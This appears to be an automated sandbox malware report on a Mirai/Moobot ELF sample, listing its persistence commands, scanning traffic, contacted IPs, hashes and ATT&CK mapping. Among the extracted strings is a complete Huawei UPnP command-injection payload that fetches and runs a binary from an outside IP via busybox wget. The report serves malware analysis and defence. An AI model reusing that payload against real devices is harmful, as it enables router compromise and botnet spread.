Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.118.135.125 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.118.135.125 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: _h/bin/busybox/bin/watchdog/bin/systemdbin/busyboxbin/watchdogbin/systemdbinrm -rf && mkdir ; > && mv ; chmod 777

Source: classification engine

Classification label: mal100.troj.linELF@0/0@6384/0

Persistence and Installation Behavior

Sets full permissions to files and/or directories

Source: /bin/sh (PID: 6235)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Source: /bin/sh (PID: 6233)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Jump to behavior

Source: /bin/sh (PID: 6235)

Chmod executable: /usr/bin/chmod -> chmod 777 bin/systemd

Jump to behavior

Source: /usr/bin/chmod (PID: 6235)

File: /tmp/bin/systemd (bits: - usr: rwx grp: rwx all: rwx)

Jump to behavior

Source: /tmp/QHyplBDoPc.elf (PID: 6230)

Shell command executed: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/QHyplBDoPc.elf bin/systemd; chmod 777 bin/systemd"

Jump to behavior

Source: /bin/sh (PID: 6232)

Rm executable: /usr/bin/rm -> rm -rf bin/systemd

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 58826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57568 -> 37215

Source: /tmp/QHyplBDoPc.elf (PID: 6228)

Queries kernel information via 'uname':

Jump to behavior

Source: QHyplBDoPc.elf, 6228.1.000055a13ab77000.000055a13abdc000.rw-.sdmp, QHyplBDoPc.elf, 6239.1.000055a13ab77000.000055a13abdc000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: QHyplBDoPc.elf, 6228.1.000055a13ab77000.000055a13abdc000.rw-.sdmp, QHyplBDoPc.elf, 6239.1.000055a13ab77000.000055a13abdc000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: QHyplBDoPc.elf, 6228.1.00007ffc41963000.00007ffc41984000.rw-.sdmp, QHyplBDoPc.elf, 6239.1.00007ffc41963000.00007ffc41984000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/QHyplBDoPc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/QHyplBDoPc.elf
Source: QHyplBDoPc.elf, 6228.1.00007ffc41963000.00007ffc41984000.rw-.sdmp, QHyplBDoPc.elf, 6239.1.00007ffc41963000.00007ffc41984000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: QHyplBDoPc.elf, type: SAMPLE
Source: Yara match	File source: 6239.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: QHyplBDoPc.elf, type: SAMPLE
Source: Yara match	File source: 6239.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QHyplBDoPc.elf PID: 6228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: QHyplBDoPc.elf PID: 6239, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: QHyplBDoPc.elf, type: SAMPLE
Source: Yara match	File source: 6239.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY

Yara detected Moobot

Source: Yara match	File source: QHyplBDoPc.elf, type: SAMPLE
Source: Yara match	File source: 6239.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QHyplBDoPc.elf PID: 6228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: QHyplBDoPc.elf PID: 6239, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	Path Interception	2 File and Directory Permissions Modification	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Scripting	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
QHyplBDoPc.elf	59%	ReversingLabs	Linux.Trojan.Mirai
QHyplBDoPc.elf	64%	Virustotal		Browse
QHyplBDoPc.elf	100%	Avira	EXP/ELF.Gafgyt.Gen.Z.E

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
bot3.neonodes.site	2%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bot3.neonodes.site	unknown	unknown	true	2%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	QHyplBDoPc.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	QHyplBDoPc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.226.155.37	unknown	Tunisia	37705	TOPNETTN	false
197.67.208.207	unknown	South Africa	16637	MTNNS-ASZA	false
68.251.195.251	unknown	United States	393635	AWT-CORP-001US	false
41.0.157.208	unknown	South Africa	36994	Vodacom-VBZA	false
197.60.181.6	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.162.72.137	unknown	Egypt	24863	LINKdotNET-ASEG	false
150.203.102.72	unknown	Australia	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
157.38.56.206	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.155.129.77	unknown	Australia	17983	COLESMYER-AS-APColesMyerAU	false
41.150.105.24	unknown	South Africa	5713	SAIX-NETZA	false
197.159.106.136	unknown	Kenya	37421	CellulantKE	false
124.166.16.87	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.21.53.61	unknown	Tunisia	37693	TUNISIANATN	false
197.206.175.87	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.29.10.17	unknown	Italy	8968	BT-ITALIAIT	false
157.105.30.7	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
157.21.162.194	unknown	United States	53446	EVMSUS	false
201.238.25.252	unknown	Venezuela	27889	TelecomunicacionesMOVILNETVE	false
41.210.46.126	unknown	Ghana	29614	GHANATEL-ASGH	false
79.131.136.44	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
197.212.93.231	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
41.210.203.24	unknown	Angola	37081	movicel-asAO	false
157.198.147.76	unknown	United States	4704	SANNETRakutenMobileIncJP	false
157.201.251.205	unknown	United States	33281	BRIGHAM-YOUNG-UNIVERSITY-IDAHOUS	false
157.227.65.45	unknown	Australia	4704	SANNETRakutenMobileIncJP	false
197.115.59.166	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.209.15.237	unknown	Sudan	36998	SDN-MOBITELSD	false
158.162.190.239	unknown	Portugal	1930	RCCNFundacaoparaaCienciaeaTecnologiaIPPT	false
41.251.80.196	unknown	Morocco	36903	MT-MPLSMA	false
41.195.173.62	unknown	South Africa	16637	MTNNS-ASZA	false
157.175.206.35	unknown	United States	16509	AMAZON-02US	false
136.19.119.243	unknown	United States	60311	ONEFMCH	false
158.145.171.248	unknown	United States	3724	ALASKA-ANETUS	false
41.244.252.210	unknown	Cameroon	37620	VIETTEL-CM-ASCM	false
197.11.5.143	unknown	Tunisia	5438	ATI-TN	false
41.154.212.149	unknown	South Africa	37079	SMMTZA	false
41.157.30.89	unknown	South Africa	37168	CELL-CZA	false
41.189.87.82	unknown	South Africa	37179	AFRICAINXZA	false
197.190.12.48	unknown	Ghana	37140	zain-asGH	false
41.144.92.210	unknown	South Africa	5713	SAIX-NETZA	false
205.195.87.175	unknown	Canada	3356	LEVEL3US	false
157.235.188.117	unknown	United States	33442	ZEBRA-TECHNOLOGIES-BGP-AS-NUMBERUS	false
157.7.0.237	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
157.252.171.43	unknown	United States	3592	TRINCOLL-ASUS	false
197.90.238.219	unknown	South Africa	10474	OPTINETZA	false
197.136.212.69	unknown	Kenya	36914	KENET-ASKE	false
93.62.210.152	unknown	Italy	12874	FASTWEBIT	false
41.64.221.40	unknown	Egypt	36992	ETISALAT-MISREG	false
60.245.209.140	unknown	China	7497	CSTNET-AS-APComputerNetworkInformationCenterCN	false
157.141.82.241	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
197.239.84.8	unknown	Burkina Faso	37577	Orange-BF	false
157.85.109.89	unknown	Australia	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
41.23.119.136	unknown	South Africa	29975	VODACOM-ZA	false
196.99.77.117	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
41.192.181.101	unknown	South Africa	29975	VODACOM-ZA	false
197.235.33.31	unknown	Mozambique	37223	VODACOM-MZ	false
140.214.83.91	unknown	United States	22284	AS22284-DOI-OPSUS	false
197.136.101.103	unknown	Kenya	36914	KENET-ASKE	false
34.221.177.69	unknown	United States	16509	AMAZON-02US	false
41.158.205.73	unknown	Gabon	16058	Gabon-TelecomGA	false
197.211.91.33	unknown	South Africa	29918	IMPOL-ASNZA	false
20.171.189.116	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
157.49.35.81	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.125.224.42	unknown	Sweden	31655	ASN-GAMMATELECOMGB	false
41.59.85.65	unknown	Tanzania United Republic of	33765	TTCLDATATZ	false
197.228.244.117	unknown	South Africa	37251	TELKOMMOBILEZA	false
41.251.80.166	unknown	Morocco	36903	MT-MPLSMA	false
157.246.101.244	unknown	United States	394271	SPS-157-246-0-0US	false
88.240.230.248	unknown	Turkey	9121	TTNETTR	false
157.108.93.43	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
93.84.101.28	unknown	Belarus	6697	BELPAK-ASBELPAKBY	false
41.21.252.29	unknown	South Africa	36994	Vodacom-VBZA	false
19.219.27.66	unknown	United States	3	MIT-GATEWAYSUS	false
157.51.180.12	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.40.23.230	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.150.251.16	unknown	Egypt	37069	MOBINILEG	false
139.106.143.92	unknown	Norway	5619	EVRY-NO	false
157.21.249.208	unknown	United States	53446	EVMSUS	false
41.35.70.31	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.145.95.42	unknown	South Africa	5713	SAIX-NETZA	false
41.137.15.141	unknown	Morocco	36884	MAROCCONNECTMA	false
197.65.69.83	unknown	South Africa	16637	MTNNS-ASZA	false
157.54.14.10	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
197.123.161.51	unknown	Egypt	36992	ETISALAT-MISREG	false
197.226.252.27	unknown	Mauritius	23889	MauritiusTelecomMU	false
44.174.133.143	unknown	United States	20473	AS-CHOOPAUS	false
157.125.224.36	unknown	Sweden	31655	ASN-GAMMATELECOMGB	false
197.179.229.97	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.231.80.96	unknown	Gabon	37582	ANINFGA	false
114.156.231.147	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
157.43.142.100	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.157.76.239	unknown	Iceland	6677	ICENET-AS1IS	false
157.170.73.18	unknown	United States	22192	SSHENETUS	false
197.185.24.130	unknown	South Africa	37105	NEOLOGY-ASZA	false
197.247.143.36	unknown	Morocco	36925	ASMediMA	false
41.233.70.218	unknown	Egypt	8452	TE-ASTE-ASEG	false
211.207.215.116	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
157.118.135.137	unknown	Japan	58785	TGU-NETTohokuGakuinUniversityJP	false
157.111.123.187	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
197.28.25.246	unknown	Tunisia	37492	ORANGE-TN	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.67.208.207	rVKyl63ct5.elf	Get hash	malicious	Mirai, Moobot	Browse
68.251.195.251	trynagetmybinsufucker98575.arm7	Get hash	malicious	Mirai	Browse
41.0.157.208	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
197.206.175.87	n9JBdbjVEe.elf	Get hash	malicious	Mirai, Moobot	Browse
157.38.56.206	arm7	Get hash	malicious	Mirai, Moobot	Browse
157.155.129.77	x4EA3QtiOB.elf	Get hash	malicious	Mirai, Moobot	Browse
157.29.10.17	oXVrKgH9TH.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TOPNETTN	zJUlA6ixme.elf	Get hash	malicious	Mirai, Moobot	Browse	197.1.178.248
	Wg4ZMhAhhR.elf	Get hash	malicious	Mirai, Moobot	Browse	197.240.230.17
	BZQRDec5AG.elf	Get hash	malicious	Mirai, Moobot	Browse	41.62.242.163
	2p710QCUte.elf	Get hash	malicious	Mirai, Moobot	Browse	41.230.101.4
	rPJ9o3VWfD.elf	Get hash	malicious	Mirai, Moobot	Browse	197.3.15.249
	6BhVz1QxCs.elf	Get hash	malicious	Mirai, Moobot	Browse	41.226.179.24
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	197.3.63.171
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	41.226.219.100
	w5GQB9PwHG.elf	Get hash	malicious	Mirai	Browse	41.230.97.162
	X3MNlPGIkI.elf	Get hash	malicious	Mirai, Moobot	Browse	41.230.0.114
	N6JIprLgXR.elf	Get hash	malicious	Mirai, Moobot	Browse	41.226.180.1
	5q49aiTRmH.elf	Get hash	malicious	Mirai, Moobot	Browse	197.238.30.167
	a1k4UHXPI5.elf	Get hash	malicious	Mirai, Moobot	Browse	197.240.217.90
	Vjiw1LBwEO.elf	Get hash	malicious	Mirai, Moobot	Browse	197.2.84.141
	ZhDzILhKa7.elf	Get hash	malicious	Mirai, Moobot	Browse	197.240.131.138
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	41.230.50.135
	a2nZbs476.dat.dll	Get hash	malicious	Qbot	Browse	197.2.238.177
	LAQO6aJTXa.elf	Get hash	malicious	Mirai, Moobot	Browse	197.240.254.52
	API0Y1656A.elf	Get hash	malicious	Mirai, Moobot	Browse	197.2.121.103
	ZqTVlH1pPH.elf	Get hash	malicious	Mirai, Moobot	Browse	41.230.0.142
MTNNS-ASZA	73IQC7zT52.elf	Get hash	malicious	Mirai, Moobot	Browse	41.121.55.53
	hQO0n4UWb1.elf	Get hash	malicious	Mirai, Moobot	Browse	197.65.70.90
	zJUlA6ixme.elf	Get hash	malicious	Mirai, Moobot	Browse	41.126.46.218
	Wg4ZMhAhhR.elf	Get hash	malicious	Mirai, Moobot	Browse	197.75.183.155
	BZQRDec5AG.elf	Get hash	malicious	Mirai, Moobot	Browse	41.113.245.214
	2p710QCUte.elf	Get hash	malicious	Mirai, Moobot	Browse	41.114.100.105
	rPJ9o3VWfD.elf	Get hash	malicious	Mirai, Moobot	Browse	197.69.47.47
	6BhVz1QxCs.elf	Get hash	malicious	Mirai, Moobot	Browse	41.122.225.34
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	197.66.218.72
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	197.75.49.197
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	41.122.237.53
	TwW6x5ZGuh.elf	Get hash	malicious	Unknown	Browse	197.78.158.117
	KOTIgUsHuj.elf	Get hash	malicious	Mirai, Moobot	Browse	196.4.149.103
	N6JIprLgXR.elf	Get hash	malicious	Mirai, Moobot	Browse	41.119.232.176
	6xdmbwgmYd.elf	Get hash	malicious	Mirai, Moobot	Browse	41.113.110.251
	qkPiKABtHC.elf	Get hash	malicious	Mirai, Moobot	Browse	41.125.107.210
	5q49aiTRmH.elf	Get hash	malicious	Mirai, Moobot	Browse	41.118.242.219
	a1k4UHXPI5.elf	Get hash	malicious	Mirai, Moobot	Browse	41.121.68.121
	Vjiw1LBwEO.elf	Get hash	malicious	Mirai, Moobot	Browse	41.115.236.90
	ZhDzILhKa7.elf	Get hash	malicious	Mirai, Moobot	Browse	197.73.44.156

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.194250437299466
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	QHyplBDoPc.elf
File size:	67320
MD5:	41796b9cdca22a336648ad24362c4951
SHA1:	737ddbfaab4f3487db4eabd3fa3a132190651825
SHA256:	27c4a14fc209d95b2a3f6bfc6652320e4e380672615282d26b92ed3861275637
SHA512:	18e6284c371c479db2bbb1b601956773bb0613cf1dcd14c2f14e24a0a418da73355a99c843871ba1a7008566a143e1092ec5708e613d7a7eabc4c3f6003bd9ca
SSDEEP:	1536:lGRaTYmol/hGIAs4PNvAcQQGm75123tSt7V:lya7hJDGmVDhV
TLSH:	FD633A21BA761E2BC4C1947621F74B25B2F143DA26ECCA0A3DB10D9EFF719846543AF4
File Content Preview:	.ELF...........................4...h.....4. ...(.......................................................t..%.........dt.Q................................@..(....@.8[................#.....a(..`.....!.....!...@.....".........`......$!...!...@...........`....

Static ELF Info

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0xe1a4	0x0	0x6	AX	4
.fini	PROGBITS	0x1e254	0xe254	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1e268	0xe268	0x1f48	0x0	0x2	A	8
.ctors	PROGBITS	0x301b4	0x101b4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x301bc	0x101bc	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x301c8	0x101c8	0x360	0x0	0x3	WA	8
.bss	NOBITS	0x30528	0x10528	0x2220	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x10528	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x101b0	0x101b0	6.2329	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x101b4	0x301b4	0x301b4	0x374	0x2594	2.6341	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Report size exceeds maximum size, go to the download page of this report and download PCAP to see all network behavior.

System Behavior

Analysis Process: QHyplBDoPc.elf PID: 6228, Parent PID: 6124

General

Start time:	18:08:25
Start date:	13/05/2023
Path:	/tmp/QHyplBDoPc.elf
Arguments:	/tmp/QHyplBDoPc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time:	18:08:26
Start date:	13/05/2023
Path:	/tmp/QHyplBDoPc.elf
Arguments:	n/a
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time:	18:08:26
Start date:	13/05/2023
Path:	/bin/sh
Arguments:	sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/QHyplBDoPc.elf bin/systemd; chmod 777 bin/systemd"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	18:08:26
Start date:	13/05/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	18:08:26
Start date:	13/05/2023
Path:	/usr/bin/rm
Arguments:	rm -rf bin/systemd
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time:	18:08:26
Start date:	13/05/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	18:08:26
Start date:	13/05/2023
Path:	/usr/bin/mkdir
Arguments:	mkdir bin
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Start time:	18:08:26
Start date:	13/05/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	18:08:26
Start date:	13/05/2023
Path:	/usr/bin/mv
Arguments:	mv /tmp/QHyplBDoPc.elf bin/systemd
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Start time:	18:08:26
Start date:	13/05/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	18:08:26
Start date:	13/05/2023
Path:	/usr/bin/chmod
Arguments:	chmod 777 bin/systemd
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time:	18:08:26
Start date:	13/05/2023
Path:	/tmp/QHyplBDoPc.elf
Arguments:	n/a
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time:	18:08:26
Start date:	13/05/2023
Path:	/tmp/QHyplBDoPc.elf
Arguments:	n/a
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time:	18:08:26
Start date:	13/05/2023
Path:	/tmp/QHyplBDoPc.elf
Arguments:	n/a
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Source: QHyplBDoPc.elf	ReversingLabs: Detection: 59%
Source: QHyplBDoPc.elf	Virustotal: Detection: 63%			Perma Link

Source: global traffic	TCP traffic: 41.78.156.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.211.48 ports 1,2,3,5,7,37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 41.15.143.149
Source: unknown	TCP traffic detected without corresponding DNS query: 197.191.146.179
Source: unknown	TCP traffic detected without corresponding DNS query: 197.196.33.84
Source: unknown	TCP traffic detected without corresponding DNS query: 57.170.160.229
Source: unknown	TCP traffic detected without corresponding DNS query: 197.7.85.18
Source: unknown	TCP traffic detected without corresponding DNS query: 197.215.216.195
Source: unknown	TCP traffic detected without corresponding DNS query: 157.15.212.254
Source: unknown	TCP traffic detected without corresponding DNS query: 97.216.25.141
Source: unknown	TCP traffic detected without corresponding DNS query: 157.4.179.153
Source: unknown	TCP traffic detected without corresponding DNS query: 157.160.13.50
Source: unknown	TCP traffic detected without corresponding DNS query: 211.186.129.54
Source: unknown	TCP traffic detected without corresponding DNS query: 197.200.181.67
Source: unknown	TCP traffic detected without corresponding DNS query: 41.220.131.183
Source: unknown	TCP traffic detected without corresponding DNS query: 157.135.83.245
Source: unknown	TCP traffic detected without corresponding DNS query: 100.49.244.205
Source: unknown	TCP traffic detected without corresponding DNS query: 174.44.128.17
Source: unknown	TCP traffic detected without corresponding DNS query: 157.215.87.51
Source: unknown	TCP traffic detected without corresponding DNS query: 157.151.50.15
Source: unknown	TCP traffic detected without corresponding DNS query: 157.239.28.249
Source: unknown	TCP traffic detected without corresponding DNS query: 80.107.169.230
Source: unknown	TCP traffic detected without corresponding DNS query: 197.222.237.208
Source: unknown	TCP traffic detected without corresponding DNS query: 197.104.83.100
